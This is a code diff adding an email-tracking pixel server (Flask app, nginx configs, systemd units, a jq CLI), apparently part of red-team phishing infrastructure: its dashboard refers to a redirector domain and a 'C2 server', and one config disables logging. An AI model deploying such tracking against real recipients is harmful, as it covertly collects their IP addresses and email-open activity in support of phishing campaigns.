<h1>Tracking Details: {{ tracking_id }}</h1>
<p>Total views: {{ events|length }}</p>
<h2>Events</h2>
<table>
<tr>
<th>Time</th>
<th>IP Address</th>
<th>User Agent</th>
<th>Referer</th>
</tr>
{% for event in events %}
<tr>
<td>{{ event.timestamp }}</td>
<td>{{ event.ip_address }}</td>
<td>{{ event.user_agent }}</td>
<td>{{ event.referer }}</td>
</tr>
{% endfor %}
</table>
</div>
</body>
</html>
"""
return render_template_string(template, tracking_id=tracking_id, events=events)
if __name__ == '__main__':
app.run(host='127.0.0.1', port=5000, debug=False)
+47
View File
@@ -0,0 +1,47 @@
server {
listen 80;
listen [::]:80;
server_name {{ tracker_domain }};
# Redirect to HTTPS if SSL is enabled
return 301 https://$host$request_uri;
}
server {
listen 443 ssl;
listen [::]:443 ssl;
server_name {{ tracker_domain }};
# SSL Configuration
ssl_certificate /etc/letsencrypt/live/{{ tracker_domain }}/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/{{ tracker_domain }}/privkey.pem;
# Restrict dashboard to localhost only
location / {
allow 127.0.0.1;
deny all;
proxy_pass http://127.0.0.1:5000;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}
# Allow public access only to pixel endpoints
location ~ ^/pixel/(.+)\.png$ {
# Public access allowed
proxy_pass http://127.0.0.1:5000/pixel/$1.png;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
# Cache control - don't cache tracking pixels
add_header Cache-Control "no-store, no-cache, must-revalidate, proxy-revalidate, max-age=0";
expires off;
}
# Security headers
add_header X-Content-Type-Options "nosniff" always;
add_header X-Frame-Options "SAMEORIGIN" always;
add_header X-XSS-Protection "1; mode=block" always;
add_header Referrer-Policy "no-referrer" always;
}
+45
View File
@@ -0,0 +1,45 @@
#!/bin/bash
# CLI tool to view email tracking stats
DATA_FILE="/root/Tools/tracker/data/tracking_data.json"
function show_summary() {
if [ ! -f "$DATA_FILE" ]; then
echo "No tracking data found."
exit 1
fi
echo "Email Tracking Summary:"
echo "======================="
jq -r 'to_entries | sort_by(.value | length) | reverse | .[] | "\(.key): \(.value | length) views"' $DATA_FILE
}
function show_details() {
ID=$1
if [ ! -f "$DATA_FILE" ]; then
echo "No tracking data found."
exit 1
fi
echo "Details for tracking ID: $ID"
echo "=========================="
jq -r --arg id "$ID" '.[$id] | if . then .[] | "\(.timestamp) | \(.ip_address) | \(.user_agent)" else "No data found for this ID" end' $DATA_FILE
}
case "$1" in
"list")
show_summary
;;
"details")
if [ -z "$2" ]; then
echo "Usage: $0 details TRACKING_ID"
exit 1
fi
show_details "$2"
;;
*)
echo "Usage: $0 [list|details TRACKING_ID]"
echo " list - Show summary of all tracking IDs"
echo " details ID - Show details for specific tracking ID"
;;
esac
+19
View File
@@ -0,0 +1,19 @@
[Unit]
Description=Email Tracking Server
After=network.target
[Service]
User=tracker
Group=tracker
WorkingDirectory=/root/Tools/tracker
ExecStart=/root/Tools/tracker/venv/bin/python /root/Tools/tracker/simple_email_tracker.py
Restart=always
RestartSec=10
# Security settings
PrivateTmp=true
ProtectSystem=full
NoNewPrivileges=true
[Install]
WantedBy=multi-user.target
@@ -0,0 +1,221 @@
#!/usr/bin/env python3
"""
Simple Email Tracking Server
A minimal Flask application that serves transparent tracking pixels
and logs email opens with metadata.
"""
import os
import json
import time
import logging
from datetime import datetime
from flask import Flask, request, send_file, render_template_string
# Configure logging
logging.basicConfig(
level=logging.INFO,
format='%(asctime)s - %(levelname)s - %(message)s',
handlers=[
logging.FileHandler('/root/Tools/tracker/data/tracker.log'),
logging.StreamHandler()
]
)
# Create Flask app
app = Flask(__name__)
# Directory to store tracking data
DATA_DIR = '/root/Tools/tracker/data'
os.makedirs(DATA_DIR, exist_ok=True)
# Path to 1x1 transparent pixel
PIXEL_PATH = os.path.join(DATA_DIR, 'pixel.png')
# Create 1x1 transparent PNG if it doesn't exist
if not os.path.exists(PIXEL_PATH):
from PIL import Image
img = Image.new('RGBA', (1, 1), color=(0, 0, 0, 0))
img.save(PIXEL_PATH)
# Path to tracking data
TRACKING_DATA_PATH = os.path.join(DATA_DIR, 'tracking_data.json')
def load_tracking_data():
"""Load existing tracking data from JSON file"""
if os.path.exists(TRACKING_DATA_PATH):
try:
with open(TRACKING_DATA_PATH, 'r') as f:
return json.load(f)
except json.JSONDecodeError:
logging.error("Error loading tracking data, starting fresh")
return {}
def save_tracking_data(data):
"""Save tracking data to JSON file"""
with open(TRACKING_DATA_PATH, 'w') as f:
json.dump(data, f, indent=2)
@app.route('/pixel/<tracking_id>.png')
def tracking_pixel(tracking_id):
"""Serve a tracking pixel and log the request"""
# Get client information
user_agent = request.headers.get('User-Agent', 'Unknown')
ip_address = request.remote_addr
timestamp = datetime.now().isoformat()
referer = request.headers.get('Referer', 'Unknown')
# Log the tracking event
logging.info(f"Pixel loaded - ID: {tracking_id}, IP: {ip_address}")
# Add tracking event to data
tracking_data = load_tracking_data()
if tracking_id not in tracking_data:
tracking_data[tracking_id] = []
tracking_data[tracking_id].append({
'timestamp': timestamp,
'ip_address': ip_address,
'user_agent': user_agent,
'referer': referer
})
save_tracking_data(tracking_data)
# Return the 1x1 transparent pixel
return send_file(PIXEL_PATH, mimetype='image/png')
@app.route('/')
def dashboard():
"""Display tracking statistics dashboard"""
tracking_data = load_tracking_data()
# Prepare data for the dashboard
stats = []
for tracking_id, events in tracking_data.items():
stats.append({
'id': tracking_id,
'views': len(events),
'last_view': events[-1]['timestamp'] if events else 'Never',
'unique_ips': len(set(e['ip_address'] for e in events))
})
# Sort by most views
stats.sort(key=lambda x: x['views'], reverse=True)
# Simple HTML dashboard template
template = """
<!DOCTYPE html>
<html>
<head>
<title>Email Tracking Dashboard - {{ tracker_domain }}</title>
<style>
body { font-family: Arial, sans-serif; margin: 0; padding: 20px; }
h1 { color: #333; }
table { border-collapse: collapse; width: 100%; }
th, td { text-align: left; padding: 8px; border-bottom: 1px solid #ddd; }
tr:hover { background-color: #f5f5f5; }
th { background-color: #4CAF50; color: white; }
.container { max-width: 800px; margin: 0 auto; }
</style>
</head>
<body>
<div class="container">
<h1>Email Tracking Dashboard</h1>
<p>To track email opens, add this HTML to your emails:</p>
<pre>&lt;img src="https://{{ redirector_domain }}/px/YOUR_TRACKING_ID.png" height="1" width="1" /&gt;</pre>
<p>Alternatively, use this URL with your C2 server directly:</p>
<pre>&lt;img src="https://{{ tracker_domain }}/pixel/YOUR_TRACKING_ID.png" height="1" width="1" /&gt;</pre>
<h2>Tracking Statistics</h2>
<table>
<tr>
<th>Tracking ID</th>
<th>Views</th>
<th>Unique IPs</th>
<th>Last View</th>
<th>Details</th>
</tr>
{% for stat in stats %}
<tr>
<td>{{ stat.id }}</td>
<td>{{ stat.views }}</td>
<td>{{ stat.unique_ips }}</td>
<td>{{ stat.last_view }}</td>
<td><a href="/details/{{ stat.id }}">View Details</a></td>
</tr>
{% endfor %}
</table>
</div>
</body>
</html>
"""
return render_template_string(
template,
stats=stats,
tracker_domain="{{ tracker_domain }}",
redirector_domain="{{ redirector_subdomain }}.{{ domain }}"
)
@app.route('/details/<tracking_id>')
def tracking_details(tracking_id):
"""Display detailed tracking information for a specific ID"""
tracking_data = load_tracking_data()
if tracking_id not in tracking_data:
return f"No data found for tracking ID: {tracking_id}", 404
events = tracking_data[tracking_id]
# Simple HTML template for details
template = """
<!DOCTYPE html>
<html>
<head>
<title>Tracking Details: {{ tracking_id }}</title>
<style>
body { font-family: Arial, sans-serif; margin: 0; padding: 20px; }
h1, h2 { color: #333; }
table { border-collapse: collapse; width: 100%; }
th, td { text-align: left; padding: 8px; border-bottom: 1px solid #ddd; }
tr:hover { background-color: #f5f5f5; }
th { background-color: #4CAF50; color: white; }
.container { max-width: 800px; margin: 0 auto; }
.back { margin-bottom: 20px; }
</style>
</head>
<body>
<div class="container">
<div class="back"><a href="/">&laquo; Back to Dashboard</a></div>
<h1>Tracking Details: {{ tracking_id }}</h1>
<p>Total views: {{ events|length }}</p>
<h2>Events</h2>
<table>
<tr>
<th>Time</th>
<th>IP Address</th>
<th>User Agent</th>
<th>Referer</th>
</tr>
{% for event in events %}
<tr>
<td>{{ event.timestamp }}</td>
<td>{{ event.ip_address }}</td>
<td>{{ event.user_agent }}</td>
<td>{{ event.referer }}</td>
</tr>
{% endfor %}
</table>
</div>
</body>
</html>
"""
return render_template_string(template, tracking_id=tracking_id, events=events)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000, debug=False)
@@ -0,0 +1,33 @@
# templates/tracker-config.j2
"""
Email Tracker Configuration
"""
# Basic Configuration
SECRET_KEY = '{{ lookup("password", "/dev/null chars=ascii_letters,digits length=32") }}'
DEBUG = False
# Database settings
DB_NAME = 'tracker.db'
# Domain configuration
DOMAIN = '{{ tracker_domain }}'
USE_HTTPS = {{ tracker_setup_ssl | default(true) | lower }}
# Tracking pixel path
TRACKING_PATH = 'pixel.png'
# API Keys
{% if tracker_ipinfo_token is defined and tracker_ipinfo_token != "" %}
IPINFO_TOKEN = '{{ tracker_ipinfo_token }}'
{% else %}
IPINFO_TOKEN = None
{% endif %}
# Notification settings
ENABLE_NOTIFICATIONS = False
NOTIFICATION_EMAIL = '{{ tracker_email | default("admin@" + domain) }}'
# Logger configuration
LOG_LEVEL = 'INFO'
LOG_FILE = '/var/log/tracker.log'
@@ -0,0 +1,52 @@
server {
listen 80;
listen [::]:80;
server_name {{ tracker_domain }};
# Redirect to HTTPS if SSL is enabled
return 301 https://$host$request_uri;
}
server {
listen 443 ssl;
listen [::]:443 ssl;
server_name {{ tracker_domain }};
# SSL Configuration
ssl_certificate /etc/letsencrypt/live/{{ tracker_domain }}/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/{{ tracker_domain }}/privkey.pem;
# Proxy to tracker app
location / {
proxy_pass http://127.0.0.1:5000;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
# Specific location for tracking pixel
location ~ ^/pixel/(.+)\.png$ {
proxy_pass http://127.0.0.1:5000/pixel/$1.png;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
# Cache control - don't cache tracking pixels
add_header Cache-Control "no-store, no-cache, must-revalidate, proxy-revalidate, max-age=0";
expires off;
}
# Security headers
add_header X-Content-Type-Options "nosniff" always;
add_header X-Frame-Options "SAMEORIGIN" always;
add_header X-XSS-Protection "1; mode=block" always;
add_header Referrer-Policy "no-referrer" always;
{% if zero_logs | default(true) %}
# Disable logging for privacy
access_log off;
error_log /dev/null crit;
{% endif %}
}
@@ -0,0 +1,23 @@
[Unit]
Description=Email Tracking Server
After=network.target
[Service]
User=tracker
Group=tracker
WorkingDirectory=/root/Tools/tracker
ExecStart=/root/Tools/tracker/venv/bin/python /root/Tools/tracker/simple_email_tracker.py
Restart=always
RestartSec=10
# Security settings
PrivateTmp=true
ProtectSystem=full
NoNewPrivileges=true
# Hide process information
StandardOutput=null
StandardError=journal
[Install]
WantedBy=multi-user.target